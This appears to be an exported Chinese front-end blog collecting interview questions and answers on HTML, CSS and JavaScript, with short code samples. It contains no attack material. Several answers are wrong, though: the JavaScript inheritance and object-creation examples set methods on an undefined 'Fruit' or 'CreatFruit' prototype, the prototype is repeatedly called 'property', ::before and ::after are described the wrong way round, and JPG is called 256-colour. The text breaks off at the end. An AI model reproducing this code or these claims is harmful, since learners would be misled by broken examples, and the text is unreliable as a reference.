<content type="text"><![CDATA[Doctype作用?标准模式与兼容模式各有什么区别? &lt;!DOCTYPE&gt;声明位于位于 HTML 文档中的第一行,处于 &lt;html&gt; 标签之前。告知浏览器的解析器用什么文档标准解析这个文档。DOCTYPE不存在或格式不正确会导致文档以兼容模式呈现。 标准模式的排版 和 JS 运作模式都是以该浏览器支持的最高标准运行。在兼容模式中,页面以宽松的向后兼容的方式显示,模拟老式浏览器的行为以防止站点无法工作。 ps:常见 dotype: HTML4.01 strict:不允许使用表现性、废弃元素(如 font)以及 frameset。声明:&lt;!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01//EN” “http://www.w3.org/TR/html4/strict.dtd&quot;&gt; HTML4.01 Transitional:允许使用表现性、废弃元素(如 font),不允许使用 frameset。声明:&lt;!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd&quot;&gt; HTML4.01 Frameset:允许表现性元素,废气元素以及 frameset。声明:&lt;!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Frameset//EN” “http://www.w3.org/TR/html4/frameset.dtd&quot;&gt; XHTML1.0 Strict:不使用允许表现性、废弃元素以及 frameset。文档必须是结构良好的 XML 文档。声明:&lt;!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt; XHTML1.0 Transitional:允许使用表现性、废弃元素,不允许 frameset,文档必须是结构良好的 XMl 文档。声明: &lt;!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt; XHTML 1.0 Frameset:允许使用表现性、废弃元素以及 frameset,文档必须是结构良好的 XML 文档。声明:&lt;!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Frameset//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd&quot;&gt;HTML 5: &lt;!doctype html&gt; HTML5 为什么只需要写 &lt;!DOCTYPE HTML&gt;? HTML5 不基于 SGML(标准统用标记语言),因此不需要对 DTD 进行引用,但是需要 doctype 来规范浏览器的行为(让浏览器按照它们应该的方式来运行); 而 HTML4.01 基于 SGML,所以需要对 DTD 进行引用,才能告知浏览器文档所使用的文档类型。 行内元素有哪些?块级元素有哪些? 空(void)元素有那些? 行内元素有:a b span img input select strong… 块级元素有:div ul ol li dl dt dd h1 h2 h3 p… 常用的空元素有:&lt;br&gt; &lt;hr&gt; &lt;img&gt; &lt;link&gt; &lt;meta&gt;… 介绍一下你对浏览器内核的理解?主要分成两部分:渲染引擎(layout engineer 或 Rendering Engine)和 JS 引擎。 渲染引擎:负责取得网页的内容(HTML、XML、图像等等)、整理讯息(例如加入 CSS 等),以及计算网页的显示方式,然后会输出至显示器或打印机。浏览器的内核的不同对于网页的语法解释会有不同,所以渲染的效果也不相同。所有网页浏览器、电子邮件客户端以及其它需要编辑、显示网络内容的应用程序都需要内核。 JS 引擎则:解析和执行 javascript 来实现网页的动态效果。 最开始渲染引擎和 JS 引擎并没有区分的很明确,后来 JS 引擎越来越独立,内核就倾向于只指渲染引擎。 常见的浏览器内核有哪些? Trident 内核:IE,MaxThon,TT,The World,360,搜狗浏览器等。[又称 MSHTML] Gecko 内核:Netscape6 及以上版本,FF,MozillaSuite/SeaMonkey 等 Presto 内核:Opera7 及以上。 [Opera 内核原为:Presto,现为:Blink;] Webkit 内核:Safari,Chrome 等。 [ Chrome 的:Blink(WebKit 的分支)] html5 有哪些新特性、移除了那些元素?如何处理 HTML5 新标签的浏览器兼容问题?如何区分 HTML 和 HTML5? HTML5 现在已经不是 SGML 的子集,主要是关于图像,位置,存储,多任务等功能的增加。 绘画 canvas; 用于媒介回放的 video 和 audio 元素; 本地离线存储 localStorage 长期存储数据,浏览器关闭后数据不丢失; sessionStorage 的数据在浏览器关闭后自动删除; 语意化更好的内容元素,比如 article、footer、header、nav、section; 表单控件,calendar、date、time、email、url、search; 新的技术 webworker, websocket, Geolocation; 移除的元素: 纯表现的元素:basefont,big,center,font, s,strike,tt,u; 对可用性产生负面影响的元素:frame,frameset,noframes; 支持 HTML5 新标签:IE8/IE7/IE6 支持通过 document.createElement 方法产生的标签,可以利用这一特性让这些浏览器支持 HTML5 新标签,浏览器支持新标签后,还需要添加标签默认的样式。 当然也可以直接使用成熟的框架、比如 html5shim; 12345&lt;!--[if lt IE 9]&gt; &lt;script&gt; src = 'http://html5shim.googlecode.com/svn/trunk/html5.js' &lt;/script&gt;&lt;![endif]--&gt; 如何区分 HTML5: DOCTYPE 声明\新增的结构元素\功能元素 简述一下你对 HTML 语义化的理解? 用正确的标签做正确的事情。 html 语义化让页面的内容结构化,结构更清晰,便于对浏览器、搜索引擎解析; 即使在没有样式 CSS 情况下也以一种文档格式显示,并且是容易阅读的; 搜索引擎的爬虫也依赖于 HTML 标记来确定上下文和各个关键字的权重,利于 SEO; 使阅读源代码的人对网站更容易将网站分块,便于阅读维护理解。 HTML5 的离线储存怎么使用,工作原理能不能解释一下? 在用户没有与因特网连接时,可以正常访问站点或应用,在用户与因特网连接时,更新用户机器上的缓存文件。 原理:HTML5 的离线存储是基于一个新建的.appcache 文件的缓存机制(不是存储技术),通过这个文件上的解析清单离线存储资源,这些资源就会像 cookie 一样被存储了下来。之后当网络在处于离线状态下时,浏览器会通过被离线存储的数据进行页面展示。 如何使用: 页面头部像下面一样加入一个 manifest 的属性; 在 cache.manifest 文件的编写离线存储的资源; 123456789CACHE MANIFEST#v0.11CACHE:js/app.jscss/style.cssNETWORK:resourse/logo.pngFALLBACK:/ /offline.html 在离线状态时,操作 window.applicationCache 进行需求实现。 浏览器是怎么对 HTML5 的离线储存资源进行管理和加载的呢? 在线的情况下,浏览器发现 html 头部有 manifest 属性,它会请求 manifest 文件,如果是第一次访问 app,那么浏览器就会根据 manifest 文件的内容下载相应的资源并且进行离线存储。如果已经访问过 app 并且资源已经离线存储了,那么浏览器就会使用离线的资源加载页面,然后浏览器会对比新的 manifest 文件与旧的 manifest 文件,如果文件没有发生改变,就不做任何操作,如果文件改变了,那么就会重新下载文件中的资源并进行离线存储。 离线的情况下,浏览器就直接使用离线存储的资源。 请描述一下 cookies,sessionStorage 和 localStorage 的区别? 传递性 cookie 是网站为了标示用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)。cookie 数据始终在同源的 http 请求中携带(即使不需要),也会在浏览器和服务器间来回传递。 sessionStorage 和 localStorage 不会自动把数据发给服务器,仅在本地保存。 存储大小: cookie 数据大小不能超过 4k。 sessionStorage 和 localStorage 虽然也有存储大小的限制,但比 cookie 大得多,可以达到 5M 或更大。 有期时间: localStorage 存储持久数据,浏览器关闭后数据不丢失除非主动删除数据; sessionStorage 数据在当前浏览器窗口关闭后自动删除。 cookie 设置的 cookie 过期时间之前一直有效,即使窗口或浏览器关闭 iframe 有那些缺点? iframe 会阻塞主页面的 Onload 事件; 搜索引擎的检索程序无法解读这种页面,不利于 SEO; iframe 和主页面共享连接池,而浏览器对相同域的连接有限制,所以会影响页面的并行加载。 使用 iframe 之前需要考虑这两个缺点。如果需要使用 iframe,最好是通过 javascript动态给 iframe 添加 src 属性值,这样可以绕开以上两个问题。 Label 的作用是什么?是怎么用的?label 标签来定义表单控制间的关系,当用户选择该标签时,浏览器会自动将焦点转到和标签相关的表单控件上。 1234&lt;label for="Name"&gt;Number:&lt;/label&gt;&lt;input type="text" name="Name" id="Name" /&gt;&lt;label&gt;Date:&lt;input type="text" name="B" /&gt;&lt;/label&gt; HTML5 的 form 如何关闭自动完成功能?给不想要提示的 form 或某个 input 设置为 autocomplete=&quot;off&quot;。 如何实现浏览器内多个标签页之间的通信? WebSocket、SharedWorker; 也可以调用 localstorge、cookies 等本地存储方式; localstorge 另一个浏览上下文里被添加、修改或删除时,它都会触发一个 storagechange 事件,我们通过监听事件,控制它的值来进行页面信息通信;注意 quirks:Safari 在无痕模式下设置 localstorge 值时会抛出 QuotaExceededError 的异常; webSocket 如何兼容低浏览器? Adobe Flash Socket ActiveX HTMLFile (IE) 基于 multipart 编码发送 XHR 基于长轮询的 XHR 页面可见性(Page Visibility API) 可以有哪些用途? 通过监听页面visibilitychange事件,用document.hidden 的值检测页面当前是否可见,以及打开网页的时间等; 在页面被切换到其他后台进程的时候,自动暂停音乐或视频的播放; 如何在页面上实现一个圆形的可点击区域? map+area 或者 svg border-radius 纯 js 实现 需要求一个点在不在圆上简单算法、获取鼠标坐标等等 实现不使用 border 画出 1px 高的线,在不同浏览器的标准模式与怪异模式下都能保持一致的效果&lt;div style=&quot;height:1px;overflow:hidden;background:red&quot;&gt;&lt;/div&gt; 网页验证码是干嘛的,是为了解决什么安全问题? 区分用户是计算机还是人的公共全自动程序。可以防止恶意破解密码、刷票、论坛灌水; 有效防止黑客对某一个特定注册用户用特定程序暴力破解方式进行不断的登陆尝试。 title 与 h1 的区别、b 与 strong 的区别、i 与 em 的区别? title 属性没有明确意义只表示是个标题,H1 则表示层次明确的标题,对页面信息的抓取也有很大的影响; strong 是标明重点内容,有语气加强的含义,使用阅读设备阅读网络时:&lt;strong&gt;会重读,而&lt;B&gt;是展示强调内容。 i 内容展示为斜体,em 表示强调的文本; Physical Style Elements – 自然样式标签b, i, u, s, pre Semantic Style Elements – 语义样式标签strong, em, ins, del, code 应该准确使用语义样式标签, 但不能滥用, 如果不能确定时首选使用自然样式标签。]]></content>
<categories>
<category>面试</category>
</categories>
<tags>
<tag>面试</tag>
<tag>html</tag>
</tags>
</entry>
<entry>
<title><![CDATA[前端面试之css]]></title>
<url>%2F2018%2F03%2F04%2Finter-css%2F</url>
<content type="text"><![CDATA[Front-end-Developer-Questions FE-interview 介绍一下标准的 CSS 的盒子模型?低版本 IE 的盒子模型有什么不同的? 有两种:IE 盒模型、W3C 盒模型 盒模型:内容(content)、填充(padding)、边框(border)、边界(margin) 区别:IE 盒模型box-sizing为border-box,把 border 和 padding 计算在内 CSS 选择符有哪些?哪些属性可以继承?选择符有: id 选择器(#myid) 类选择器(.myclass) 标签选择器(div, h1, p) 相邻选择器(h1 + p) 子选择器(ul &gt; li) 后代选择器(li a) 通配符选择器(*) 属性选择器(input[type=”radio”]) 伪类选择器(a:hover, li:nth-child) 可继承的样式: 文字排版相关属性 font word-break letter-spacing text-align text-rendering word-space text-indent text-transform text-shadow color line-height cursor visibility 不可继承样式:border、padding、margin、width、height CSS 优先级算法如何计算? 优先级就近原则,同权重情况下样式定义最近者为准 载入样式以最后载入的定位为准 优先级 同权重: 内联样式表(标签内部)&gt; 嵌入样式表(当前文件中)&gt; 外部样式表(外部文件中)。 !important &gt; id &gt; class &gt; tagimportant 比 内联优先级高 css sprite 是什么,有什么优缺点?将多个小图片拼接到一张图片种。通过background-position和元素尺寸调节显示的背景图片。 优点: 减少 HTTP 请求次数和图片总体大小,提高页面加载速度 更换风格方便,只需再一张或几张图片上修改颜色 缺点: 图片合并麻烦 IE6 浏览器有哪些常见的 bug,缺陷或者与标准不一致的地方,如何解决? IE6 不支持 min-height,解决办法使用 css hack: 12345.target &#123; min-height: 100px; height: auto !important; height: 100px; // IE6下内容高度超过会自动扩展高度&#125; ol 内 li 的序号全为 1,不递增。解决方法:为 li 设置样式display: list-item; 未定位父元素overflow: auto;,包含position: relative;子元素,子元素高于父元素时会溢出。解决办法: 子元素去掉position: relative;; 不能为子元素去掉定位时,父元素position: relative;; 12345678910111213141516171819&lt;style type="text/css"&gt; .outer &#123; width: 215px; height: 100px; border: 1px solid red; overflow: auto; position: relative; /* 修复bug */ &#125; .inner &#123; width: 100px; height: 200px; background-color: purple; position: relative; &#125;&lt;/style&gt;&lt;div class="outer"&gt; &lt;div class="inner"&gt;&lt;/div&gt;&lt;/div&gt; IE6 只支持 a 标签的:hover 伪类,解决方法:使用 js 为元素监听 mouseenter,mouseleave 事件,添加类实现效果: 123456789101112131415161718192021222324252627282930313233&lt;style type="text/css"&gt; .p:hover, .hover &#123; background: purple; &#125;&lt;/style&gt;&lt;p class="p" id="target"&gt;aaaa bbbbb&lt;span&gt;DDDDDDDDDDDd&lt;/span&gt; aaaa lkjlkjdf j&lt;/p&gt;&lt;script type="text/javascript"&gt; function addClass(elem, cls) &#123; if (elem.className) &#123; elem.className += ' ' + cls &#125; else &#123; elem.className = cls &#125; &#125; function removeClass(elem, cls) &#123; var className = ' ' + elem.className + ' ' var reg = new RegExp(' +' + cls + ' +', 'g') elem.className = className.replace(reg, ' ').replace(/^ +| +$/, '') &#125; var target = document.getElementById('target') if (target.attachEvent) &#123; target.attachEvent('onmouseenter', function () &#123; addClass(target, 'hover') &#125;) target.attachEvent('onmouseleave', function () &#123; removeClass(target, 'hover') &#125;) &#125;&lt;/script&gt; IE5-8 不支持 opacity,解决办法: 12345.opacity &#123; opacity: 0.4 filter: alpha(opacity=60); /* for IE5-7 */ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=60)"; /* for IE 8*/&#125; IE6 在设置 height 小于 font-size 时高度值为 font-size,解决办法:font-size: 0; IE6 不支持 PNG 透明背景,解决办法: IE6 下使用 gif 图片 IE6-7 不支持 display: inline-block 解决办法:设置 inline 并触发 hasLayout 123display: inline-block;*display: inline;*zoom: 1; IE6 下浮动元素在浮动方向上与父元素边界接触元素的外边距会加倍。解决办法: 1. 使用 padding 控制间距。 2. 浮动元素display: inline;这样解决问题且无任何副作用:css 标准规定浮动元素display:inline会自动调整为 block 通过为块级元素设置宽度和左右 margin 为 auto 时,IE6 不能实现水平居中,解决方法:为父元素设置text-align: center; CSS3 新增伪类有那些? p:first-of-type 选择属于其父元素的首个&lt;p&gt;元素的每个&lt;p&gt;元素。 p:last-of-type 选择属于其父元素的最后&lt;p&gt;元素的每个&lt;p&gt;元素。 p:only-of-type 选择属于其父元素唯一的&lt;p&gt; 元素的每个&lt;p&gt;元素。 p:only-child 选择属于其父元素的唯一子元素的每个&lt;p&gt;元素。 p:nth-child(2) 选择属于其父元素的第二个子元素的每个&lt;p&gt;元素。 ::after 在元素之前添加内容,也可以用来做清除浮动。 ::before 在元素之后添加内容 :enabled 表单控件启用或激活状态 :disabled 控制表单控件的禁用状态。 :checked 单选框或复选框被选中。 实现水平、垂直居中?水平且垂直居中方法(9 种) position取值有哪几种? static(默认):元素框正常生成。块级元素生成一个矩形框,作为文档流的一部分;行内元素则会创建一个或多个行框,置于父级元素中。 relative:元素框相对于之前正常文档流中的位置发生偏移,并且原先的位置仍然被占据。发生偏移的时候,可能会覆盖其他元素。 absolute:元素框不再占有文档位置,并且相对于包含块进行偏移(所谓包含块就是最近一级外层元素 position 不为 static 的元素)。 fixed:元素框不再占有文档流位置,并且相对于视窗进行定位。 sticky:css3 新增属性值,粘性定位,相当于 relative 和 fixed 的混合。最初会被当作是 relative,相对原来位置进行偏移;一旦超过一定的阈值,会被当成 fixed 定位,相对于视口定位。 描述display: block;和display: inline;的具体区别?block元素特点 处于常规流中时,如果 width 没有设置,会自动填充满父容器 可以应用 margin/padding 在没有设置高度的情况下会扩展高度以包含常规流中的子元素 处于常规流中时布局时在前后元素位置之间(独占一个水平空间) 忽略vertical-align inline元素特点 水平方向上根据 direction 依次布局 不会在元素前后进行换行 受 white-space 控制 margin/padding 在竖直方向上无效,水平方向上有效 width/height 属性对非替换行内元素无效,宽度由元素内容决定 非替换行内元素的行框高由 line-height 确定,替换行内元素的行框高由 height,margin,padding,border 决定 浮动或绝对定位时会转换为 block vertical-align属性生效 用纯 CSS 创建一个三角形的原理是什么?一边设置颜色,另三边透明(颜色设为transparent) 纯 css 三角形及其应用 Chrome 中文界面下默认会将小于 12px 的文本强制按照 12px 显示?css 属性:-webkit-text-size-adjust: none; 为什么要初始化 CSS 样式?因为浏览器的兼容问题,不同浏览器对有些标签的默认值是不同的,如果没对 CSS 初始化往往会出现浏览器之间的页面显示差异。当然,初始化样式会对 SEO 有一定的影响,但鱼和熊掌不可兼得,但力求影响最小的情况下初始化。 淘宝初始样式 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192body,h1,h2,h3,h4,h5,h6,hr,p,blockquote,dl,dt,dd,ul,ol,li,pre,form,fieldset,legend,button,input,textarea,th,td &#123; margin: 0; padding: 0;&#125;body,button,input,select,textarea &#123; font: 12px/1.5tahoma, arial, \5b8b\4f53;&#125;h1,h2,h3,h4,h5,h6 &#123; font-size: 100%;&#125;address,cite,dfn,em,var &#123; font-style: normal;&#125;code,kbd,pre,samp &#123; font-family: couriernew, courier, monospace;&#125;small &#123; font-size: 12px;&#125;ul,ol &#123; list-style: none;&#125;a &#123; text-decoration: none;&#125;a:hover &#123; text-decoration: underline;&#125;sup &#123; vertical-align: text-top;&#125;sub &#123; vertical-align: text-bottom;&#125;legend &#123; color: #000;&#125;fieldset,img &#123; border: 0;&#125;button,input,select,textarea &#123; font-size: 100%;&#125;table &#123; border-collapse: collapse; border-spacing: 0;&#125; position 跟 display、margin collapse、overflow、float 这些特性相互叠加后会怎么样? 如果元素的 display 为 none,那么元素不被渲染,position 和 float 不起作用 如果元素拥有position:absolute;或者position:fixed;属性那么元素将为绝对定位,float 不起作用 如果元素 float 属性不是 none,元素会脱离文档流,根据 float 属性值来显示 有浮动、绝对定位、inline-block 属性的元素,margin 不会和垂直方向上的其他元素 margin 折叠 css 定义权重以下是权重的规则:标签的权重为 1,class 的权重为 10,id 的权重为 100 zoom:1 的清除浮动原理? 清除浮动,触发 hasLayout; Zoom 属性是 IE 浏览器的专有属性,它可以设置或检索对象的缩放比例。解决 ie 下比较奇葩的 bug。 移动端布局有哪几种方法?待写… CSS 优化、提高性能的方法有哪些? 关键选择器(key selector)。选择器的最后面的部分为关键选择器(即用来匹配目标元素的部分); 如果规则拥有 ID 选择器作为其关键选择器,则不要为规则增加标签。过滤掉无关的规则(这样样式系统就不会浪费时间去匹配它们了); 提取项目的通用公有样式,增强可复用性,按模块编写组件;增强项目的协同开发性、可维护性和可扩展性; 使用预处理工具或构建工具(gulp 对 css 进行语法检查、自动补前缀、打包压缩、自动优雅降级); margin 和 padding 分别适合什么场景使用?margin 是用来隔开元素与元素的间距;padding 是用来隔开元素与内容的间隔。 ::before 和 :before中双冒号和单冒号 有什么区别?解释一下这 2 个伪元素的作用。:表示伪类,::表示伪元素 w3c 定义: CSS 伪类用于向某些选择器添加特殊的效果 css 伪元素用于将特殊的效果添加到某些选择器 伪类偏选择,伪元素偏元素 伪类有::active, :focus, :hover, :link, :visited, :first-child, :lang 伪元素有:::first-letter, ::first-line, ::before, ::after font-style 属性可以让它赋值为“oblique” oblique 是什么意思?让没有倾斜的字体倾斜 让页面里的字体变清晰,变细用 CSS 怎么做?-webkit-font-smoothing: antialiased; 如果需要手动写动画,你认为最小时间间隔是多久,为什么?(阿里)多数显示器默认频率是 60Hz,即 1 秒刷新 60 次,所以理论上最小间隔为1/60*1000ms =16.7ms display:inline-block 什么时候会显示间隙?(携程)移除空格、使用margin负值、使用font-size:0、letter-spacing、word-spacing 什么是 Cookie 隔离?(或者说:请求资源的时候不要让它带 cookie 怎么做)如果静态文件都放在主域名下,那静态文件请求的时候都带有的 cookie 的数据提交给 server 的,非常浪费流量,所以不如隔离开。 因为 cookie 有域的限制,因此不能跨域提交请求,故使用非主要域名的时候,请求头中就不会带有 cookie 数据,这样可以降低请求头的大小,降低请求时间,从而达到降低整体请求延时的目的。 style 标签写在 body 后与 body 前有什么区别?标准一直是规定 style 元素不应出现在 body 元素中,不过网页浏览器一直有容错设计。如果 style 元素出现在 body 元素,最终效果和 style 元素出现在 head 里是一样的。但是可能引起 FOUC、重绘或重新布局。 什么是 CSS 预处理器 / 后处理器? 预处理器例如:LESS、Sass、Stylus,用来预编译 Sass 或 less,增强了 css 代码的复用性,还有层级、mixin、变量、循环、函数等,具有很方便的 UI 组件模块化开发能力,极大的提高工作效率。 后处理器例如:PostCSS,通常被视为在完成的样式表中根据 CSS 规范处理 CSS,让其更有效;目前最常做的是给 CSS 属性添加浏览器私有前缀,实现跨浏览器兼容性的问题。 display: none;和visibility: hidden;的区别?共同点: 都让元素不可见 区别: display: none;会让元素完全从渲染树中消失,渲染的时候不占据任何空间;visibility: hidden;不会让元素从渲染树消失,元素仍占据空间,只是内容不可见。 display: none;是继承属性,子孙节点消失由于元素从渲染树消失造成,通过修改子孙节点属性无法显示;visibility: hidden;是继承属性,子孙节点消失由于继承了该属性,通过设置visibility: visible;可以让其显示。 修改常规流中元素的display通常会造成文档重排。修改visibility只会造成元素的重绘。 读屏器不会读取display: none;元素内容,但会读取visibility: hidden;元素内容。 link和@import的区别? link是 HTML 方式,@import是 css 方式。 link最大限度支持并行下载,@import过多嵌套导致串行下载,出现 FOUC。 link可以通过rel=&quot;alternate stylesheet&quot;指定候选样式。 浏览器对link支持早于@import,可以使用@import对老浏览器隐藏样式。 @import必须再样式规则之前,可以再 css 文件中引用其他文件。 总体来说:link优于@import。 什么是 FOUC?如何避免? Flash Of Unstyled Content,用户定义样式表加载之前浏览器使用默认样式显示文档,用户样式加载渲染之后再重新显示文档,造成页面闪烁。 解决方法:把样式表放到文档的&lt;head&gt;。 清除浮动有哪几种方式? 父级元素设置属性height 结尾处加一个块级空元素并clear: both; 父级定义伪元素::after并且属性为zoom: 1; clear: both; 父级元素设置属性overflow不为visible 父级也浮动,同时设置宽度 PNG,GIF,JPG 的区别及如何选择? PNG 有 PNG8 和 truecolor PNG PNG8 是 256 色 文件小,支持alpha透明度,无动画 适合背景图,图标,按钮 GIF 8 位像素,256 色 无损压缩 支持动画 支持boolean透明 适合简单动画 JPG 256 色 有损压缩 不支持透明 适合照片 浏览器渲染机制是什么 浏览器渲染页面整个过程: 首先,解析 HTML Source,构建 DOM Tree; 同时,解析 CSS Style,构建 CSSOM Tree; 然后,组合 DOM Tree 与 CSSOM Tree,去除不可见元素,构建 Render Tree; 再执行 Reflow,根据 Render Tree 计算每个可见元素的布局; 最后,执行 Repaint,通过绘制流程,将每个像素渲染到屏幕上; 注意: Render Tree 只包含渲染网页所需要的节点; Reflow 过程是布局计算每个对象的精确位置和大小; Repaint 过程则是将 Render Tree 的每个像素渲染到屏幕上; 重排(reflow)和重绘(repaint) 重排(又称回流),发生在 Render Tree 阶段,它主要用来确定元素的几何属性和位置 重绘,发生在重排(reflow)过程之后,将元素的颜色、背景属性绘制出来 怎样触发 reflow 和 repaint触发 Reflow 增加、删除和修改 DOM 节点时,会导致 Reflow 或 Repaint 移动 DOM 位置,或者动画 修改位置样式 Resize 窗口,或者是滚动 修改网页默认字体 触发 Repaint 增加、删除和修改 DOM 节点 css 改动 如何减少 reflow 和 Repaint 过程 减少 js 逐个修改样式,而是用添加、修改 css 类 通过documentFragment集中处理临时操作 克隆节点进行操作,然后进行原节点替换 使用display: none;进行批量操作 减少样式重新计算,即减少offset、scroll、clientX/Y、getComputedStyle、currentStyle的使用,因为每次使用都会刷新操作缓冲区,执行 reflow 和 repaint 解决移动端 1px 问题 首先移动端 1px 问题的背景是因为在移动端设备存在高清 Retina 屏,也就是 2 倍 3 倍屏幕,它们的 dpr(物理像素比)更高,比如 1 x 1 px 在 2 倍屏幕上会用 2x2 物理像素显示,比普通设备看起来更粗。要解决 1px 问题,本质就是解决让高清屏用一个物理像素展示一个 CSS 像素。 方案一:border-image: url(svg);使用 svg 做边框图片,svg 可以是 4x4px 图片,stroke=1,border-image-slice: xxx将 svg 图片切割成 9 部分,除中间一块,其他八块当做边框使用。 方案二:利用伪元素,比如::after,设置元素绝对定位,left`top 均为 0,使用媒体查询识别 dpr(@media(device-pixel-radio:2)),比如 dpr 为 2,将width: 200%; height: 200%,然后再通过transform: scale(0.5),pointer-events: none;`鼠标点击穿透。 方案三:viewPort + scale 参考移动端 1px 解决方案]]></content>
<categories>
<category>面试</category>
</categories>
<tags>
<tag>css</tag>
<tag>面试</tag>
</tags>
</entry>
<entry>
<title><![CDATA[前端面试之javascript]]></title>
<url>%2F2018%2F03%2F04%2Finter-js%2F</url>
<content type="text"><![CDATA[介绍 js 的基本数据类型Undefined、Null、Boolean、Number、String、ECMAScript 2015 新增 Symbol(创建后独一无二且不可变的数据类型)、ES2020 新增 BigInt(表示整数,没有位置限制)。 介绍 js 有哪些内置对象? Object 是 JavaScript 中所有对象的父对象 数据封装类对象:Object、Array、Boolean、Number 和 String 其他对象:Function、Arguments、Math、Date、RegExp、Error 说几条写 JavaScript 的基本规范? 不要在同一行声明多个变量。 请使用 ===/!==来比较 true/false 或者数值 使用对象字面量替代 new Array 这种形式 不要使用全局函数。 Switch 语句必须带有 default 分支 函数不应该有时候有返回值,有时候没有返回值。 For 循环必须使用大括号 If 语句必须使用大括号 for-in 循环中的变量 应该使用 var 关键字明确限定作用域,从而避免作用域污染。 JavaScript 原型每个对象会在内部初始化一个属性,就是property,当我们访问一个对象的属性时,如果这个对象内部不存在这个属性,就会去property里去找这个属性。这个property又有自己的property,于是一直找下去。 关系:instance.constructor.property = instance.__proto__ JavaScript 有几种类型的值?你能画一下他们的内存图吗?栈:原始数据类型(Undefined,Null,Boolean,Number、String) 堆:引用数据类型(对象、数组和函数) 两种类型的区别是:存储位置不同; 原始数据类型直接存储在栈(stack)中的简单数据段,占据空间小、大小固定,属于被频繁使用数据,所以放入栈中存储; 引用数据类型存储在堆(heap)中的对象,占据空间大、大小不固定。如果存储在栈中,将会影响程序运行的性能;引用数据类型在栈中存储了指针,该指针指向堆中该实体的起始地址。当解释器寻找引用值时,会首先检索其在栈中的地址,取得地址后从堆中获得实体 typeof、instanceOf、constructor、Object.prototype.toStringtypeof: 直接在计算机底层基于数据类型的值(二进制)检测。 typeof null =&gt; Object 对象存储在计算机中,都是以 000 二进制存储,null 也是,所以检测出来的结果是对象。 typeof 普通对象/数组对象/正则对象/日期对象 =&gt; Object instanceof: 检测当前实例是否属于这个类。 底层机制:只要当前类出现在实例的原型上,结果为 true。 不能检测基础数据类型,1 instanceof Number =&gt; false。 原型可以被修改,因此检测会不准确 constructor: constructor 可以被修改,因此检测不准确 Object.prototype.toString: 标准检测数据类型的办法,不是转化成字符串,而是返回当前实例所属类的信息 三类循环和性能分析 for 循环及 forEach 底层:for 是自己控制循环过程基于 var 声明的时候,for 和 while 差不多。基于 let 声明的时候,for 循环性能更好【原理:没有创造全局不释放的变量】。 for of 循环底层:迭代器 规范,具备 next 方法,每次返回一个对象,具备 value/done 属性。让对象具备可迭代性并且使用 for of 循环 请解释事件委托(event delegation)事件委托是将事件监听器添加到父元素,而不是每个子元素单独设置事件监听器。当触发子元素时,事件会冒泡到父元素,监听器就会触发,这种技术的好处是: 内存使用减少,因为只需一个父元素的事件处理程序,而不必为每个后代都添加事件处理程序。 无需从已删除的元素的元素中解绑处理程序,也无需将处理程序绑定到新元素上。 0.1+0.2 != 0.3JS 采用 IEEE 754 双精度版本(64 位),即 8 个字节表示一个数字。第 1 位是符号位,决定正负;中间 11 位是指数位,决定数值大小;后面 52 位是小数位,决定精度。浮点数 0.1 用二进制表示的时候是无穷的,两个浮点数相加造成截断丢失精度。 解决方案:1、差值小于 ES6 的 Number.EPSILON 极小值认为是相等;2、将数值转化成字符串,小数部分转化成整数计算;3、浮点树扩大到整数,相加,再除回去; 深度:JS 的 7 种数据类型以及它们的底层数据结构 JavaScript 创建对象的几种方式? 对象字面量 123456var person = &#123; gender: 'male' getDesc: function () &#123; return 'My gender is' + this.gender; &#125;&#125; 缺点:重复创建对象 工厂模式 12345678910function creatPerson() &#123; var person = &#123;&#125; person.gender = 'male' person.getDesc = function () &#123; return 'My gender is' + this.gender &#125; return person&#125;creatPerson() 缺点:无法识别对象类型 构造函数模式 12345678function Person() &#123; this.gender = 'male' this.getDesc = function () &#123; return 'My gender is' + this.gender &#125;&#125;var person = new Person() 缺点:不能复用方法 原型模式 123456789function Person() &#123; this.gender = 'male'&#125;CreatFruit.prototype.getDesc = function () &#123; return 'My gender is' + this.gender&#125;var person = new Person() JavaScript 继承的几种实现方式? 原型链继承 父类 1234567function Person() &#123; this.gender = 'male'&#125;Fruit.prototype.getDesc = function () &#123; return 'My gender is' + this.gender&#125; 子类 12345678910function Student() &#123; this.task = 'study'&#125;Student.prototype = new Person()Student.prototype.constructor = StudentStudent.prototype.getTask = function () &#123; return 'My task is' + this.task&#125; 缺点:1. 原型对象上的引用类型属性所有实例共享;2. 不能向超类型的构造函数传参;3. 不支持多重继承。 组合继承 父类 12345678function Person(height) &#123; this.gender = 'male' this.height = height&#125;Fruit.prototype.getDesc = function () &#123; return 'My gender is' + this.gender&#125; 子类 123456789101112function Student(height, marjor) &#123; Person.call(this, height) this.task = 'study' this.marjor = marjor&#125;Student.prototype = new Person()Student.prototype.constructor = StudentStudent.prototype.getTask = function () &#123; return 'My task is' + this.task&#125; 缺点:父类构造函数会被调用两次。 寄生组合继承 父类 12345678function Person(height) &#123; this.gender = 'male' this.height = height&#125;Fruit.prototype.getDesc = function () &#123; return 'My gender is' + this.gender&#125; 子类 12345678910111213function Student(height, marjor) &#123; Person.call(this, height) this.task = 'study' this.marjor = marjor&#125;Student.prototype = Person.prototype// Student.prototype = Object.create(Person.prototype);Student.prototype.constructor = StudentStudent.prototype.getTask = function () &#123; return 'My task is' + this.task&#125; 拷贝继承 父类 12345678function Person(height) &#123; this.gender = 'male' this.height = height&#125;Fruit.prototype.getDesc = function () &#123; return 'My gender is' + this.gender&#125; 子类 12345678910111213function Student(height, marjor) &#123; Person.call(this, height) this.task = 'study' this.marjor = marjor&#125;for (var p in Person.prototype) &#123; Student.prototype[p] = Person.prototype[p]&#125;Student.prototype.getTask = function () &#123; return 'My task is' + this.task&#125; 缺点:父级和子级原型链关系断开。 Javascript 